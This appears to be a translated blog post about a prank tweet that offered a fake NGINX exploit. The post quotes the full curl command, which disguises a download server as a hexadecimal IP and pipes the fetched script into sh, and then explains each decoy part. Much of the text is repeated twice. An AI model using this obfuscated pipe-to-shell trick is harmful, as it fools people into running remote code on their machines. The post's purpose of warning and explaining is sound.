June 7, 2019 at 12:13The success of a social experiment with a fake exploit for nginx
- Transfer
Note perev. : The author of the original article, published on June 1, decided to conduct an experiment among those interested in information security. To do this, he prepared a fake exploit for an undisclosed vulnerability in the web server and posted it on his twitter. His assumptions - to be instantly exposed by experts who see an obvious fraud in the code - did not just come true ... They exceeded all expectations, and in the opposite direction: the tweet received great support from numerous people who did not check its contents.
TL; DR: Never use file pipelining in sh or bash. This is a great way to lose control of your computer.
I want to share with you a short story about the comic PoC exploit that was created on May 31. He appeared promptly in response to news from Alisa Esage Shevchenko , a member of the Zero Day Initiative (ZDI), that information about the vulnerability in NGINX leading to RCE (remote code execution) would soon be revealed. Since NGINX is the basis of many websites, the news was supposed to produce the effect of an exploding bomb. But due to delays in the process of “responsible disclosure” of information, the details of what happened were not known - this is the standard ZDI procedure.
NGINX vulnerability disclosure tweet
Having finished work on the new obfuscation technique in curl, I quoted the original tweet and “leaked the working PoC”, consisting of one line of code supposedly using the discovered vulnerability. Of course, it was complete nonsense. I thought that they would immediately bring me to clean water, and that at best I would get a couple of retweets (okay).
A tweet with a fake exploit
However, I could not imagine what happened next. The popularity of my tweet has skyrocketed. Surprisingly, at the moment (15:00 Moscow time on June 1), so far few have realized that this is a fake. Many retweet it without checking at all (not to mention admiring the lovely ASCII graphics that it displays).
Just look what a beauty!
Although all these loops and colors are wonderful, of course: to see them, people executed the code on their machine. Fortunately, browsers work similarly, and in combination with the fact that I don’t need legal problems at all, the code hidden in my site just made echo calls without trying to install or execute any additional code.
A small digression: netspooky , dnz , me and the other Thugcrowd guysWe’ve been playing with various ways to obfuscate curl commands for some time now, because it’s fun ... and we are geeks. netspooky and dnz discovered several new ways that seemed extremely promising to me. I joined in the fun and tried adding IP decimal conversions to a set of tricks. It turned out that IP can also be converted to hexadecimal. Moreover, curl and most other NIX tools enjoy eating hexadecimal IPs! Thus, all that was needed was to simply create a convincing and safe looking command line. I eventually settled on this:
Safety and habit were the main part of this experiment. I think it was they who led to his success. The command line explicitly implied security, referring to "127.0.0.1" (the well-known localhost). It is believed that localhost is safe and the data on it never leaves your computer.
Habitability was the second key SEE component of the experiment. Since the target audience mainly consisted of people familiar with the basics of computer security, it was important to create such code that its parts seemed familiar and familiar (and therefore safe). Borrowing elements of old exploit concepts and combining them in an unusual way has been very successful.
Below is a detailed analysis of a single line. Everything on this list is cosmetic., and for his real work practically nothing is required.
What components are really necessary? This is
This concludes the decoding of a one-line script and the discussion of aspects of “socio-electronic engineering” (intricate phishing).
Since the overwhelming majority of my subscribers are information security / hackers, I decided to make the web server a little more resistant to manifestations of “interest” on their part, just so that the guys had something to do (and it was fun to set it up). I am not going to list all the traps here, as the experiment is still ongoing, but here are a few things the server does:
A small part of anti-measures
In this case, my only goal was to master some of the features of Apache - in particular, cool rules for redirecting requests - and I thought: why not?
Subscribe to @alisaesage on Twitter and follow a wonderful job ZDI to address the very real vulnerabilities and opportunities for exploits in NGINX. Their work has always fascinated me and I am grateful to Alice for the patience with all the mentions and notifications caused by my stupid tweet. Fortunately, it did bring some benefits: it helped raise awareness of NGINX vulnerabilities, as well as problems caused by curl abuse.
TL; DR: Never use file pipelining in sh or bash. This is a great way to lose control of your computer.
I want to share with you a short story about the comic PoC exploit that was created on May 31. He appeared promptly in response to news from Alisa Esage Shevchenko , a member of the Zero Day Initiative (ZDI), that information about the vulnerability in NGINX leading to RCE (remote code execution) would soon be revealed. Since NGINX is the basis of many websites, the news was supposed to produce the effect of an exploding bomb. But due to delays in the process of “responsible disclosure” of information, the details of what happened were not known - this is the standard ZDI procedure.
NGINX vulnerability disclosure tweet
Having finished work on the new obfuscation technique in curl, I quoted the original tweet and “leaked the working PoC”, consisting of one line of code supposedly using the discovered vulnerability. Of course, it was complete nonsense. I thought that they would immediately bring me to clean water, and that at best I would get a couple of retweets (okay).
A tweet with a fake exploit
However, I could not imagine what happened next. The popularity of my tweet has skyrocketed. Surprisingly, at the moment (15:00 Moscow time on June 1), so far few have realized that this is a fake. Many retweet it without checking at all (not to mention admiring the lovely ASCII graphics that it displays).
Just look what a beauty!
Although all these loops and colors are wonderful, of course: to see them, people executed the code on their machine. Fortunately, browsers work similarly, and in combination with the fact that I don’t need legal problems at all, the code hidden in my site just made echo calls without trying to install or execute any additional code.
A small digression: netspooky , dnz , me and the other Thugcrowd guysWe’ve been playing with various ways to obfuscate curl commands for some time now, because it’s fun ... and we are geeks. netspooky and dnz discovered several new ways that seemed extremely promising to me. I joined in the fun and tried adding IP decimal conversions to a set of tricks. It turned out that IP can also be converted to hexadecimal. Moreover, curl and most other NIX tools enjoy eating hexadecimal IPs! Thus, all that was needed was to simply create a convincing and safe looking command line. I eventually settled on this:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostSocio-Electronic Engineering (SEE) - More Than Just Phishing
Safety and habit were the main part of this experiment. I think it was they who led to his success. The command line explicitly implied security, referring to "127.0.0.1" (the well-known localhost). It is believed that localhost is safe and the data on it never leaves your computer.
Habitability was the second key SEE component of the experiment. Since the target audience mainly consisted of people familiar with the basics of computer security, it was important to create such code that its parts seemed familiar and familiar (and therefore safe). Borrowing elements of old exploit concepts and combining them in an unusual way has been very successful.
Below is a detailed analysis of a single line. Everything on this list is cosmetic., and for his real work practically nothing is required.
What components are really necessary? This is
-gsS, -O 0x0238f06a, |shand the web server itself. The web server did not contain any malicious instructions, but simply passed ASCII graphics using the commands echoin the script contained in index.html. When the user entered a string with |shin the middle, it index.htmlloaded and executed. Fortunately, the web server keepers had no evil intentions.../../../%00- depicts an exit outside the directory;ngx_stream_module.so- path to the random NGINX module;/bin/sh%00\<'protocol:TCP'- we supposedly run/bin/shon the target machine and redirect the output to the TCP channel;-O 0x0238f06a#PLToffset- a secret ingredient, supplemented#PLToffsetto look like a memory bias, somehow contained in the PLT;|sh;- Another important piece. We needed to redirect the output to sh / bash in order to execute the code coming from the attacking web server located at0x0238f06a(2.56.240.x);nc /dev/tcp/localhost- a dummy in which netcat refers to/dev/tcp/localhostso that everything looks safe again. In fact, it does nothing and is included in the line for beauty.
This concludes the decoding of a one-line script and the discussion of aspects of “socio-electronic engineering” (intricate phishing).
Web server configuration and countermeasures
Since the overwhelming majority of my subscribers are information security / hackers, I decided to make the web server a little more resistant to manifestations of “interest” on their part, just so that the guys had something to do (and it was fun to set it up). I am not going to list all the traps here, as the experiment is still ongoing, but here are a few things the server does:
- Actively monitors distribution attempts on certain social networks and substitutes various preview thumbnails to encourage the user to follow the link.
- Redirects Chrome / Mozilla / Safari / etc. to the Thugcrowd promo video instead of showing the shell script.
- It monitors for obvious signs of intrusion / hacking, after which it starts redirecting requests to NSA servers (ha!).
- Installs the trojan, as well as the rootkit BIOS, on all computers whose users visit the host from a regular browser (joke!).
A small part of anti-measures
In this case, my only goal was to master some of the features of Apache - in particular, cool rules for redirecting requests - and I thought: why not?
NGINX exploit (real!)
Subscribe to @alisaesage on Twitter and follow a wonderful job ZDI to address the very real vulnerabilities and opportunities for exploits in NGINX. Their work has always fascinated me and I am grateful to Alice for the patience with all the mentions and notifications caused by my stupid tweet. Fortunately, it did bring some benefits: it helped raise awareness of NGINX vulnerabilities, as well as problems caused by curl abuse.